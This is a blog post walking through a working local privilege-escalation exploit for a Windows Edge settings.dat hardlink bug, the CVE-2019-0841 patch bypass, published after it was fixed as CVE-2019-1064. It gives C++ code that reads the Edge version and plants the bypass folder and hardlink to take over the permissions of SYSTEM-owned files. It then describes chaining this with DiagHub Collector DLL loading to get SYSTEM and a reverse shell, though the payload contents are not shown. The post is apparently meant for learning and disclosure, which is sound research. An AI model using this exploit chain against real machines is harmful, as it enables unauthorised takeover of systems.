Coding a reliable CVE-2019-084 bypass
Hi all. It’s been some time. I apologize for my absence, but I need to carry on with life and work and, sometimes, there’s no time for this blog.
In the past few days I have been watching the new 0days that were being released by SandBoxEscaper (again) and as usual, I found myself digging into code to get a reliable exploit for them.
Introduction
This post will be about CVE-2019-0841 bypass. This vulnerability is a arbitrary DACL write to SYSTEM files, which means a simple user can take over control (permissions wise) to high-integrity files.
This is still a zero day in the time I write. Will post it on blog as soon I am able (time) and that is patched.
Is this a privilege escalation vulnerability?
No and yes.
It can be used to privilge escalate, but the vulnerability itself is not enough to escalate a user privileges to SYSTEM. It needs some other privilege escalation vector, like DLL hijacking or Service abuse (DiagHub Collector) to get command execution as a higher privileged user in the system.
What was CVE-2019-0841? Why is this a bypass?
Rogue_kdc found that a settings file - settings.dat - for Microsoft Edge when substituted by a Hardlink would cause the SYSTEM user (through impersonation) to call SetSecurityFile function over that file and by consequence, the linked file would have it’s DACL (permissions) overwritten. Which means a lot of files in System32 and subsequent folders can be controlled, thus, enabling an attacker to DLL hijack/load his way to get code execution.
Afterwards, Microsoft patched this issue. But SandBoxEscaper found that the bug could be triggered AGAIN, if some conditions are met. This is why it is called CVE-2019-0841 bypass.
Conditions for the bypass
There was the following in README.md from author’s repository:
There is a problem, as you can see, the exploit will not work in all Windows 10 versions right away due to the requirement of microsoft edge version must be known and it interferes directly to the exploitation process of it.
- There is the need to enumerate the Microsoft Edge version.
- Create a folder in the same spot as settings.dat is with the Microsoft Edge version in it’s name.
- Create a hardlink inside the folder mentioned above.
After some error and trial, I found out some conditions that were not explicitly told by SandboxEscaper.
- The settings.dat hardlink still needs to be used.
- To re-use the exploit, we need to delete the Microsoft Edge bypass folder and it’s hardlink every time we run the exploit. The current solution in that README was not enough.
Microsoft Edge version enumeration
The first step to build a reliable exploit for this bypass is to enumerate the Microsoft Edge version.
After some searches on Google, I found that there is a file which has our beloved version data.
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AppxManifest.xml
Open it and you will find Edge version over <Identity>
tag.
Now, it is time for some C++ code!
This is the function I have used to get the version:
/* Convert char* to wchar_t* */
// Reference: https://stackoverflow.com/questions/8032080/how-to-convert-char-to-wchar-t
wchar_t *GetWC(const char *c)
{
const size_t cSize = strlen(c) + 1;
wchar_t* wc = new wchar_t[cSize];
mbstowcs(wc, c, cSize);
return wc;
}
/*
Fill a buffer with WCHAR string of the current Microsoft Edge version
Author: @_zc00l
*/
WCHAR* GetEdgeVersion()
{
OVERLAPPED ol = { 0 };
char ReadBuffer[BUFFERSIZE] = { 0 };
WCHAR *EdgeConfigurationFile = L"C:\\Windows\\SystemApps\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AppxManifest.xml";
if (!FileExists(EdgeConfigurationFile))
{
wprintf(L"Could not determine the current edge version.\n");
return NULL;
}
HANDLE hFile = CreateFile(EdgeConfigurationFile,
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
return NULL;
}
if (FALSE == ReadFileEx(hFile, ReadBuffer, BUFFERSIZE - 1, &ol, FileIOCompletionRoutine))
{
printf("Terminal failure: Unable to read from file.\n GetLastError=%08x\n", GetLastError());
CloseHandle(hFile);
return NULL;
}
// Ugly way to find our version buffer from the file stream.
char *found = NULL;
char *token = NULL;
char *sep = " ";
char *sep2 = "\"";
token = strtok(ReadBuffer, sep);
while (token != NULL)
{
/*
The first Alpha-case "Version" that is located in this file
belongs to the XML key <Identity> which edge version for the
current computer.
*/
found = strstr(token, "Version=\"");
if (found != NULL) {
token = strtok(found, sep2);
token = strtok(NULL, sep2); // Jump 'Version='
printf("[+] Found edge version: %s\n", token);
CloseHandle(hFile);
return GetWC(token); // We need it in WCHAR!
}
token = strtok(NULL, sep);
}
CloseHandle(hFile);
return NULL;
}
Now, our exploit has met the first condition so we can automate the exploitation process.
Automation of Bypass steps
Now onto the next conditions:
- Create the bypass folder with the actual Edge Version
- Create a hardlink inside it
For this, I have developed a separate function that does just that, watch it below:
/* Code to achieve the bypass of patch for CVE-2019-0841 */
void bypass(_TCHAR* EdgeVersion, _TCHAR* targetpath) {
wchar_t *userprofile = _wgetenv(L"USERPROFILE");
wchar_t *relpath = (L"\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Microsoft.MicrosoftEdge_");
wchar_t *finalpath = L"_neutral__8wekyb3d8bbwe";
wchar_t *finalfile = L"\\zc00l.txt";
std::wstring fullpath(userprofile);
fullpath += std::wstring(relpath);
fullpath += std::wstring(EdgeVersion);
fullpath += std::wstring(finalpath);
TCHAR * szBuffsrc = (wchar_t *)fullpath.c_str(); //MS Edge bypass folder
std::wstring filepath(userprofile);
filepath += std::wstring(relpath);
filepath += std::wstring(EdgeVersion);
filepath += std::wstring(finalpath);
filepath += std::wstring(finalfile);
TCHAR * szBuffsrcFile = (wchar_t *)filepath.c_str(); //MS Edge bypass file
/*
To achieve multiple/sucessive execution in a clean way, this is required.
*/
if (FileExists(szBuffsrcFile)) {
DeleteFile(szBuffsrcFile);
}
RemoveDirectory(szBuffsrc);
CreateDirectory(szBuffsrc, NULL);
wprintf(L"[+] Creating hardlink bypass ... ");
if (CreateNativeHardlink(szBuffsrcFile, targetpath)) {
wprintf(L"DONE!\n");
}
else {
wprintf(L"FAILED!\n");
}
}
Merge it all and run!
Now that all conditions are met, we can merge it all and insert it to the CVE-2019-0841 code, so it will bypass the patch and exploit it again!
To test the vulnerability, I have copied windows “hosts” file to use it as a test-case.
And now, we run the exploit over C:\Windows\System32\example.file to get full control over it!
At the time I have developed this exploit, it was still unpatched, so I have done it all on a fully updated Windows 10.
As you can see, my user can now do ANY file operation over that file.
That could be used alongside with DiagHub Collector to load a DLL and get SYSTEM!
But Microsoft patched that on version 1903. Unfortunately, my windows is already 1903.
Pretty sure that most of PC’s are still lower than 1903 version, though!
I started another Windows VM (older) so now it is possible to demonstrate how this bug could be used to leverage privilege escalation.
For DLL loading in Windows 10, until version 1903, DiagHub Collector service can be abused to get ourselves SYSTEM code execution so it is going to be used here.
It won’t accept any file, so it must met some requirements (check @decoder_it blog for more info), one of them is extension. The file “license.rtf” is allowed to be used, so let’s check the permissions of it:
SYSTEM is the owner of it, which means we can rewrite DACL using the bug previously shown in this article.
This is the first time I have executed the exploit outside the environment where I have built it. It has proven to be reliable at identifying the Microsoft Edge version and adapting itself to meet the requirements and execute the bypass correctly.
Now that the license.rtf is fully controlled by my “teste” user (which means test in portuguese), it allows us to simply overwrite completely that file with a malicious DLL to execute our commands.
For that, I will create a C:\temp\r.bat with the following contents:
After copying DLL over “license.rtf” file, used the DiagHub Collector service to execute it as SYSTEM.
Neat. With this kind of execution, getting a shell is just too simple.
Copy this reverse shell payload over that “r.bat” file
And trigger DLL loading again.
The shell pops!
Acknowledgements
I know that disclosing vulnerabilities without patches is not a responsible act and I do not endorse this kind of thing. But without the PoC released, I would never be able to learn so much, and thus never going to pass that knowledge to other people if that hasn’t happened.
Credits for CVE-2019-0841 bypass is for SandboxEscaper.
Credits for DiagHub Collector service abuse code is for James Forshaw and Andrea Pierini (@decoder_it).
The full code can be found on my Github.
Hope you enjoyed the reading. See you later!
Fixed (06/11/2019)
Now this is not a zero day anymore. It has been patched by KB4503327 and CVE assigned to it was CVE-2019-1064.
I can now release this article and PoC code!